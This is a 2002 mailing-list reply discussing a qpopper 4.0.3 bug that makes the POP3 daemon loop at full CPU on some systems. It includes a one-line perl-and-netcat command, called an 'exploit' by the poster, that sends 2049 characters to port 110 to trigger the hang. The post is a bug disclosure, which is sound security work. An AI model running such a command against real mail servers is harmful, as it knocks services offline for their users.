On Tue, 19 Mar 2002 23:19:01 -0600, Randall Gellens wrote:
>The cause isn't as simple as that, sorry (which I realized as soon as
>I sent the message). It doesn't loop for me on some systems (such as
>OpenBSD 2.9) with inputs that aren't an even multiple of 2048. It
>also doesn't loop for me at all (with any size input) on some systems
>(such as Darwin/MacOS X).
on a FreeBSD 4.4-stable with qpopper 4.0.3 it loops forever (near 100%
CPU) but does not eat memory, according to "top"
I used this simple exploit:
perl -e '{print "A"x"2049"}' | nc my.pop3.host 110
(nc is netcat)
bye!
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